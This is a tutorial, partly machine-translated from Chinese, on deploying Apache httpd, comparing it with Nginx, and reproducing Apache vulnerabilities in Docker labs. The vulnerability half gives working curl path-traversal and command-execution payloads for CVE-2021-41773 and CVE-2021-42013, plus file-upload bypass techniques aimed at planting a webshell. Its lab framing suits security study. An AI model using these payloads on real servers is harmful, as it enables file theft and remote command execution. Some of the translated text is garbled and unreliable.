Deployment and configuration of apache httpd sever under debian and analysis of the most important common vulnerabilities

Introduction to Apache httpd
       

Apache is the world's number one web server software. It can run on almost all widely used computer platforms and is one of the most popular web server-side software due to its cross-platform and security features. It is fast, reliable and can be extended through a simple API to compile interpreters such as Perl/Python into the server. At the same time, Apache is transliterated as Apache, which is a tribe of North American Indians called the Apache tribe in the southwestern United States. It is also the name of a foundation, an armed helicopter, etc.

         Apache is characterized by simplicity, fast speed, stable performance, and can be used as a proxy server. It can run in most computer operating systems and is widely used due to its cross-platform and security.

A web service commonly used in enterprises to provide http:// (Hypertext Transfer Protocol)

What is the difference between apache httpd and nginx?

Apache and Nginx are both web servers, and both implement the HTTP 1.1 protocol. No matter which one you choose, it is decided based on the application scenario, so we only compare the characteristics of the two based on the application scenario. Use the right tools to do the right thing.

Please refer to this article for details: Comparison between nginx and Apache and their advantages and disadvantages - _ Savadika - Blog Park (cnblogs.com)

Let’s briefly outline a few points:

The core difference between the two is that apache is a synchronous multi-process model, one connection corresponds to one process, while nginx is asynchronous, and multiple connections (10,000 levels) can correspond to one process

Generally speaking, for web services that require performance, use nginx. If you don't need performance and just want stability, consider apache. The latter's various functional modules are better than the former. For example, the ssl module is better than the former and has more configurable items. The epoll (kqueue on freebsd) network IO model is the fundamental reason for nginx's high processing performance, but epoll does not win in all cases. If it provides static services, there are only a few files, and apache's The select model may be more performant than epoll. Of course, this is just an assumption based on the principles of the network IO model. The real application still needs to be tested in practice.

A more general solution is to use Nginx on the front end to resist concurrency and an Apache cluster on the back end, which will work better together.
 

Summarize the advantages and disadvantages of the two:

　　1. Nginx configuration is simple, Apache is complex; Nginx static processing performance is more than 2 times higher than Apache;

　　2. Apache’s support for PHP is relatively simple, and Nginx needs to be used with other backends; Apache has more components than Nginx;

　　3. Apache is a synchronous multi-process model, and one connection corresponds to one process; Nginx is asynchronous, and multiple connections (10,000 levels) can correspond to one process;

　　4. Nginx handles static files well and consumes less memory; dynamic requests are done by apache, and Nginx is only suitable for static and reverse;

　　5. Nginx is suitable as a front-end server and has good load performance; Nginx itself is a reverse proxy server and supports load balancing.

apache

Unlike nginx, apache is modular. You can refer to the following:

        +----------+
      +- | Module   | -----------------+
      |  +----------+                  |
      |                          +------------+
+-----------+   Apache HTTPD     | php module |
| Module    |                    +------------+
+-----------+              +----------+|
      +----------+-------- |  MPM     |+
                 |         +----+---+-+
               +-v-----------+  |   |
               |    ARP      <--+   |
               +------+------+      |
                      |             |
      +---------------v-------------v--+
      |      Operating  System         |
      +--------------------------------+

MPM (Multi-Processing Modules) is one of the core components of Apache. Apache uses MPM to use operating system resources and manage processes and thread pools. In order to obtain the best operating performance, Apache has optimized it for different platforms (Unix/Linux, Window) and provides different MPMs for different platforms. Users can choose according to the actual situation. Among them, the most commonly used MPMs are There are two types: prefork and worker. As for which way your server is running, it depends on the MPM compilation parameters specified during the installation of Apache. The default compilation parameters on the X system are prefork.

Since most Unixes do not support real threads, they adopt the prefork method. For platforms that support threads, such as Windows or Solaris, the worker mode based on a mixture of multi-process and multi-thread is a good choice. Another important component in Apache is APR (Apache portable Runtime Library), which is the Apache portable runtime library. It is an abstract library that calls the operating system. It is used to realize the use of Apache internal components on the operating system and improve the system's performance. portability. Apache's parsing of php is completed through the php Module among many Modules.

Apache life cycle:

  +--------------------------------------------------------------+
   |                 +---------------------+       启动阶段        |
   |                 |    系统启动, 配置     |                      |
   |                 +----------+----------+                      |
   |                            |                                 |
   |                 +----------v----------+                      |
   |                 |      模块的初始化     |                      |
   |                 +-+--------+--------+-+                      |
   |                   |        |        |                        |
   |   +-------------+ | +------v-------+| +--------------+       |
   |   | 子进程初始化  |<+ | 子进程初始化   |+>|  子进程初始化  |       |
   |   +------+------+   +-------+------+  +-------+------+       |
   +--------------------------------------------------------------+
   |          |                  |                 |     运行阶段  |
   |     +----v----+        +----v----+       +----v----+         |
   |     | 请求循环 |        |  请求循环 |       | 请求循环 |         |
   |     +----+----+        +----+----+       +----+----+         |
   |          |                  |                 |              |
   |   +------v------+    +------v------+   +------v------+       |
   |   |  子进程结束   |    |  子进程结束  |   |   子进程结束  |       |
   |   +-------------+    +-------------+   +-------------+       |
   +--------------------------------------------------------------+

This life cycle is a representation of perfork work. As can be seen from the figure, Apache starts a separate process for each request.

Apache running

During the startup phase, Apache mainly performs configuration file parsing (such as http.conf and configuration files set by the Include directive, etc.), module loading (such as mod_php.so, mod_perl.so, etc.) and system resource initialization (such as log files, shared memory) section, etc.) work. At this stage, in order to obtain the maximum usage rights of system resources, Apache will be started as the privileged user root (X system) or super administrator administrator (Windows system).

This process can be understood in depth through the following figure:

      +--------+
       |  开始   |
       +----+---+
            |
 +----------v------------+   解析主配置文件http.conf中配置信息，
 |     解析配置文件        |   像LoadModule, AddType
 +----------+------------+   等指令被加载至内存
            |
 +----------v------------+   依据AddModule, LoadModule等指令
 |   加载静态/动态模块      |   加载Apache模块，像mod_php5.so被
 +----------+------------+   加载至内存，映射到Apache地址空间。
            |
 +----------v------------+   日志文件、共享内存段，数据库链接
 |     系统资源初始化      |    等初始化
 +----------+------------+
            |
        +---v----+
        |  结束   |
        +--------+

running phase

In the running phase, Apache's main job is to process user service requests. At this stage, Apache gives up the privileged user level and uses ordinary permissions. This is mainly based on security considerations to prevent security vulnerabilities caused by code defects.

Due to Apache's Hook mechanism, Apache allows modules (including internal modules and external modules, such as mod_php5.so, mod_perl.so, etc.) to inject custom functions into the request processing loop. mod_php5.so/php5apache2.dll injects the included custom functions into Apache through the Hook mechanism, and is responsible for processing PHP requests at each stage of the Apache processing process.

Apache divides the request processing cycle into 11 stages, which are: Post-Read-Request, URI Translation, Header Parsing, Access Control, Authentication, Authorization, MIME Type Checking, FixUp, Response, Logging, CleanUp.

Nginx

Overview

Nginx (pronounced the same as engine x) is a lightweight web server, reverse proxy server and email (IMAP/POP3) proxy server developed by Russian programmer Igor Sysoev. It was originally used by Rambler (Russian: Рамблер), a large Russian portal and search engine.

Nginx modules and working principles

Nginx consists of a kernel and modules. The design of the kernel is very small and concise, and the work done is very simple. It only maps the client request to a location block by looking up the configuration file (location is an instruction in the Nginx configuration, used to URL matching), and each instruction configured in this location will start different modules to complete the corresponding work.

Nginx modules are structurally divided into core modules, basic modules and third-party modules:

• Core modules: HTTP module, EVENT module and MAIL module
• Basic modules: HTTP Access module, HTTP FastCGI module, HTTP Proxy module and HTTP Rewrite module,
• Third-party modules: HTTP Upstream Request Hash module, Notice module and HTTP Access Key module.

Nginx modules are functionally divided into the following three categories:

• Handlers ( processor modules ). This type of module directly processes requests and performs operations such as outputting content and modifying header information. Generally, there can only be one Handlers processor module.
• Filters ( Filter module ). This type of module mainly modifies the content output by other processor modules, and is finally output by Nginx.
• Proxies (proxy class module). Such modules are modules such as Nginx's HTTP Upstream. These modules mainly interact with some back-end services such as FastCGI to implement functions such as service proxy and load balancing.

                    +                    ^
        Http Request |                    |  Http Response
                     |                    |
    +---------+------v-----+         +----+----+
    |  Conf   | Nginx Core |         | FilterN |
    +---------+------+-----+         +----^----+
                     |                    |
                     |               +----+----+
                     |               | Filter2 |
choose a handler     |               +----^----+
based conf           |                    |
                     |               +----+----+
                     |               | Filter1 |
                     |               +----^----+
                     |                    | Generate content
               +-----v--------------------+----+
               |           Handler             |
               +-------------------------------+

Nginx itself actually does very little work. When it receives an HTTP request, it just maps the request to a location block by looking up the configuration file, and each directive configured in this location will start different modules. To complete the work, the module can be regarded as the real labor worker of Nginx. Usually instructions in a location involve a handler module and multiple filter modules (of course, multiple locations can reuse the same module). The handler module is responsible for processing requests and completing the generation of response content, while the filter module processes the response content.

Nginx architecture and workflow

The above picture is the architecture of Nginx. This architecture is similar to the Worker working state of Apache. Each Worker process of Nginx manages a large number of threads. What actually processes the request is the thread under the Worker.

All actual business processing logic is in the worker process. There is a function in the worker process that executes an infinite loop, continuously processing the requests received from the client, and processing them until the entire nginx service is stopped. The execution content of this function in Worker is as follows:

• The mechanisms provided by the operating system (such as epoll, kqueue, etc.) generate related events.
• Receive and process these events. If data is received, a higher-level request object is generated.
• Process the header and body of the request.
• Generate a response and send it back to the client.
• Complete request processing.
• Reinitialize timers and other events.

FastCGI

FastCGI is a scalable, high-speed communication interface between HTTP servers and dynamic scripting languages . Most popular HTTP servers support FastCGI, including Apache, Nginx, lighttpd, etc. At the same time, FastCGI is also supported by many scripting languages, including PHP.

FastCGI is developed and improved from CGI. The main disadvantage of the traditional CGI interface method is poor performance, because every time the HTTP server encounters a dynamic program, the script parser needs to be restarted to perform parsing, and then the results are returned to the HTTP server. This is almost unusable when dealing with high concurrent access. In addition, the traditional CGI interface method has poor security and is rarely used now.

The FastCGI interface adopts a C/S structure, which can separate the HTTP server and the script parsing server, and start one or more script parsing daemons on the script parsing server. Every time the HTTP server encounters a dynamic program , it can be delivered directly to the FastCGI process for execution, and then the result is returned to the browser. This method allows the HTTP server to exclusively process static requests or return the results of the dynamic script server to the client, which greatly improves the performance of the entire application system.

Nging and FastCGI cooperate

Nginx does not support direct calling or parsing of external programs. All external programs (including PHP) must be called through the FastCGI interface. The FastCGI interface is a socket under Linux (this socket can be a file socket or an ip socket).

Next, we will explain the running process of PHP under Nginx. PHP-FPM is a manager for FastCGI, which exists as a plug-in for PHP.

• The FastCGI process manager php-fpm initializes itself, starts the main process php-fpm and starts the start_servers CGI child processes. The main process php-fpm mainly manages the fastcgi sub-process and listens to port 9000. The fastcgi child process waits for connections from the Web Server.
• When the client request reaches Web Server Nginx, Nginx uses the location instruction to hand over all files with the suffix php to 127.0.0.1:9000 for processing. That is, Nginx uses the location instruction to transfer all files with the suffix php to 127.0.0.1:9000. Leave it to 127.0.0.1:9000 for processing.
• FastCGI Process Manager PH P-FPM selects and connects to a child process CGI interpreter. The web server sends CGI environment variables and standard input to the FastCGI child process .
• After the FastCGI subprocess completes processing, the standard output and error information are returned to the Web Server from the same connection. When the FastCGI child process closes the connection, the request is processed.
• The FastCGI child process then waits for and handles the next connection from the FastCGI process manager (running in WebServer).

Comparison between Apache and Nginx

Function comparison

Nginx, like Apache, is HTTP server software. Both adopt modular structure design in functional implementation. Both support common language interfaces, such as PHP, Perl, Python, etc., and also support forward and reverse proxies, virtual hosts, URL rewriting, compressed transmission, SSL encrypted transmission, etc.

• In terms of functional implementation, all modules of Apache support dynamic and static compilation, while Nginx modules are all statically compiled.
• For FastCGI support, Apache’s support for Fcgi is not good, but Nginx’s support for Fcgi is very good;
• In terms of connection processing, Nginx supports epoll, but Apache does not;
• In terms of space usage, the Nginx installation package is only a few hundred K. Compared with Nginx, Apache is absolutely huge.

Advantages of Nginx over Apache

• Lightweight, it also serves as a web service and takes up less memory and resources than apache.
• Static processing, Nginx static processing performance is more than 3 times higher than Apache
• Anti-concurrency, nginx processes requests asynchronously and non-blockingly, while apache is blocking. Under high concurrency, nginx can maintain low resource consumption and high performance. In - - Apache+PHP (prefork) mode, if PHP processing is slow or the front-end pressure is high, it is easy for the number of Apache processes to surge, resulting in a denial of service.
• Highly modular design, writing modules is relatively simple
• The community is active and various high-performance modules are produced quickly.

Advantages of apache over nginx

• rewrite, more powerful than nginx’s rewrite
• There are so many modules that you can basically find everything you can think of.
• Fewer bugs, nginx has relatively many bugs
• Super stable
• Apache's support for PHP is relatively simple, and Nginx needs to be used with other backends.

Advantages of choosing Nginx

• As a web server: Nginx handles static files and index files , and automatic indexing is very efficient.
• As a proxy server, Nginx can achieve cache-free reverse proxy acceleration and improve website running speed.
• As a load balancing server, Nginx can not only directly support Rails and PHP internally, but also support HTTP proxy servers for external services. It also supports simple fault tolerance and utilization algorithms for load balancing.
• In terms of performance, Nginx is specially developed for performance optimization and pays great attention to efficiency in implementation. It uses the kernel Poll model (epoll and kqueue), which can support more concurrent connections, can support responses to a maximum of 50,000 concurrent connections, and only takes up very low memory resources.
• In terms of stability, Nginx adopts phased resource allocation technology, which makes the CPU and memory usage very low. Nginx officials stated that Nginx maintains 10,000 inactive connections, and these connections only occupy 2.5MB of memory. Therefore, attacks like DOS have basically no effect on Nginx.
• In terms of high availability, Nginx supports hot deployment and the startup speed is very fast. Therefore, the software version or configuration can be upgraded without interrupting the service. It does not need to be restarted even if it runs for several months, and it can be done almost 24/7. Run without interruption.

Using Nginx and Apache at the same time

Due to the respective advantages of Nginx and Apache, many people now choose to let the two coexist in the server. On the server side, put Nginx first and Apache second. Nginx does load balancing and reverse proxy, processes static files, and hands dynamic requests (such as PHP applications) to Apache for processing.

The above content is reprinted to: What are the advantages and disadvantages of Nginx and Apache? - Know almost

Deployment of apache under centos7:

yum install httpd -y		##apache软件
yum install httpd-manual	##apache的手册
systemctl start httpd 
systemctl enable httpd 
sudo systemctl restart httpd
sudo systemctl reload httpd2 更改配置后重启该服务
sudo systemctl disable httpd httpd服务是默认开机启动的，这个命令可以关掉开机启动
firewall-cmd --list-all				##列出火墙信息
firewall-cmd --permanent --add-service=http		##永久允许http
firewall-cmd --reload				##火墙从新加载策略
/var/www/html				##apache的/目录，默认发布目录
/var/www/html/index.html		##apache的默认发布文件
vim /var/www/html/index.html		##写默认发布文件内容
<h1> hello world </h1>

 ok The initial deployment is completed with one click.

Configure your own personal site:

1. Introduction to common configuration files of Apache service

 

Vulnerability analysis:

Apache HTTPD is an HTTP server that can run PHP web pages through mod_php. There is a parsing vulnerability in its versions 2.4.0~2.4.29. When parsing PHP, 1.php\x0Ait will be parsed according to the PHP suffix, resulting in bypassing the security policies of some servers.

Apache HTTPD newline parsing vulnerability (CVE-2017-15715)

Affected versions: 2.4.0~2.4.29 relatively new

Vulnerability environment:

docker-compose build
docker-compose up -d

1. Cause of the vulnerability:

 2. Vulnerability recurrence:

Use the win host to access the 8080 port of docker mapped to the kali machine. You can see a simple file upload page:

View the source code and use the post method to upload a file to a form page.

Let’s try uploading a file with a .php suffix:

Return bad.firle.

Obviously filtering is done in the background, go back to kali and check:

┌──(root㉿killer)-[~/vulhub/httpd/CVE-2017-15715]
└─# cat index.php                        
<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {

?>

<!DOCTYPE html>
<html>
<head>
        <title>Upload</title>
</head>
<body>
<form method="POST" enctype="multipart/form-data">
        <p>
                <label>file:<input type="file" name="file"></label>
        </p>
        <p>
                <label>filename:<input type="text" name="name" value="evil.php"></label>
        </p>
        <input type="submit">
</form>
</body>
</html>

<?php
}
?>

 OK, files with the above suffixes are not allowed to be uploaded.

How to solve?

Simple! We use burp to capture packets and add \x0A after .php to try:

 ok caught, try to modify:

Insert one after 1.php \x0A(note, it cannot be \x0D\x0A, only one \x0A) and no longer intercept:

 

 

 

ok done, we successfully accessed it, there is a newline parsing vulnerability!

To put it simply, 99% of normal websites disable files with the .php suffix. This is for sure. If we get the information about the other party’s middleware, we find that it is version 2.4.0--2.4 with a newline parsing vulnerability. .29 apache, then it needs to be in. Add a \x0A after the php suffix, and its suffix will exist in the form of %0a, so the blacklist will not be restricted. After uploading to apache, the suffix will be truncated and parsed in the form of .php. You can trigger this vulnerability and get the webshell!

solution:

Just update to the latest version. There is no particularly good defense strategy for parsing vulnerabilities. You can only update.

Apache HTTPD multiple suffix parsing vulnerability

Apache HTTPD supports multiple suffixes for a file and executes different instructions for different suffixes. For example, the following configuration file: AddType text/html .html

                AddLanguage zh-CN .cn

It .htmladds media-type to the suffix , with a value of text/html. .cnIt adds language to the suffix, with a value of zh-CN. At this time, if the user requests a file index.cn.html, he will return a Chinese html page.

The above are the characteristics of Apache's multiple suffixes. If the operation and maintenance personnel .phpadd a processor to the suffix:

AddHandler application/x-httpd-php .php

Then, in the case of multiple suffixes, as long as a file contains .phpa suffix, it will be recognized as a PHP file, and it does not need to be the last suffix. Exploiting this feature will create a parsing vulnerability that can bypass the upload whitelist.

Generally speaking, parsing vulnerabilities are generally used to bypass restrictions set by development or operation and maintenance personnel. Some are whitelists and blacklists of nginx parsing vulnerabilities that we have talked about. Generally speaking, they are bypasses!

The specific principle of this vulnerability is: Because the multi-suffix function module is added and modified in the apache configuration file, this causes the detection of files with .php, regardless of whether it is written at the end, and will be parsed as a php file.

For example: aaa.php.jpg

Vulnerability environment:

docker-compose up -d

Vulnerability recurrence:

Use the host to access the IP mapped to kali:

This index.php page has a whitelist mechanism, but the restrictions given by the operation and maintenance personnel are very simple, which gives us the opportunity to bypass.

Use vscode to construct a PHP info image format and upload it:

ok successfully obtained the webshell by exploiting the multi-suffix parsing vulnerability:

 solution:

This is still caused by improper configuration of the operation and maintenance personnel. He implemented a whitelist function in the index.php file. This is indeed safe enough at the code level, but it ignores the fact that middleware security is also very important.

1. Directly turn off the multi-suffix parsing function. This is an unsolvable point. It can completely avoid secondary vulnerabilities, but it will lose enough functions, which has advantages and disadvantages.

2. Add a file content detection function module, which is very effective for one-sentence Trojans. But this is not the optimal solution, because we can make a picture horse. Adding a sentence Trojan to the structure of the picture can also bypass this restriction. So how to bypass it?

It’s simple. Just disrupt and rearrange the image before parsing it. However, there are ways to deal with this. If the image file is disrupted and rearranged, most of the encoding will be reconstructed, but some core encoding will not change. The Trojan is inserted here . That’s it. This is the content of file upload technology. I won’t go into too much detail here. It’s too much manual work~

3. Replacing the middleware is also a solution without a solution, but the problems encountered are believed to be very difficult, and replacing the middleware means that other vulnerabilities may be encountered. . . .

In summary, this is caused by improper allocation of operation and maintenance personnel, so it is best to shut down this thing.

Apache HTTP Server 2.4.49 Path Traversal Vulnerability (CVE-2021-41773)

Apache HTTP Server is a popular HTTP server open sourced by the Apache Foundation. In its 2.4.49 version, a path traversal vulnerability was introduced, and Apache servers that meet the following two conditions will be affected:

• Version equal to 2.4.49
• The traversed directory is allowed to be accessed, such as configured <Directory />Require all granted</Directory>. (not allowed by default)

An attacker can exploit this vulnerability to read other files located outside the Apache server's Web directory, or read the source code of script files in the Web directory, or execute arbitrary commands on a server with cgi or cgid enabled.

CGI is not enabled in 99% of cases. This thing is based on C language for writing web pages and has basically been eliminated.

vulnerability environment

Execute the following commands to compile and run a vulnerable Apache HTTPd 2.4.49 version server:

docker-compose build
docker-compose up -d

After the environment is started, http://your-ip:8080you can see the Apache default It works!page by visiting.

Exploit and principle:

Use the following CURL command to send the payload (note that it /icons/must be an existing and accessible directory):

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

What is this? The meaning of url encoded. is converted into common utf-8 encoding: ../

After reading this, I believe you have basically understood that it is to use ../ to continuously traverse the upper and lower levels of the directory to obtain files other than the apache file, resulting in arbitrary downloading.

When the cgi or cgid mods are enabled on the server, this path traversal vulnerability will allow the execution of arbitrary commands:

curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

Summary: The Apache path traversal vulnerability is a very new vulnerability. This vulnerability is caused by its own configuration errors and source code errors. It is recommended to update to the latest version to prevent it. If you want to exploit it, you need to encode the utf-8 . URL to traverse it. The premise is that you have sufficient permissions to access the etc directory, but in most cases access permissions are available by default.

The biggest premise is that the next-level directory you use URL encoding before traversing the directory must exist.

If the server has the two mods cgi or cgid enabled, enough path traversal vulnerabilities can enable arbitrary command execution. It just depends on luck.

curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

 Apache HTTP Server 2.4.50 Path Traversal Vulnerability (CVE-2021-42013)

Apache HTTP Server is a popular HTTP server open sourced by the Apache Foundation. Apache officially fixed the directory traversal vulnerability CVE-2021-41773 that appeared in version 2.4.49 in version 2.4.50 , but this fix is ​​incomplete. CVE-2021-42013 is a bypass of the patch.

An attacker can exploit this vulnerability to read other files located outside the Apache server's Web directory, or read the source code of script files in the Web directory, or execute arbitrary commands on a server with cgi or cgid enabled.

This vulnerability affects Apache HTTP Server versions 2.4.49 and 2.4.50.

Execute the following commands to compile and run a vulnerable Apache HTTP Server 2.4.50 version server:

docker-compose build
docker-compose up -d

After the environment is started, http://your-ip:8080you can see the Apache default It works!page by visiting.

exploit

We can no longer successfully exploit the vulnerability using the payload in CVE-2021-41773 , indicating that it has been fixed in 2.4.50.

But we can use to bypass it (note that it must be an existing and accessible directory):.%%32%65/icons/

curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

%32%65 组地方是谁？再加一个%不又就是%2e了？两个漏洞的区别就这么简单除此之外没有任何区别，就是做了一个双重编码，而双重编码是可以被解析的

It can be seen that the following was successfully read /etc/passwd:

When the cgi or cgid mods are enabled on the server, this path traversal vulnerability will enable the execution of arbitrary commands, as above.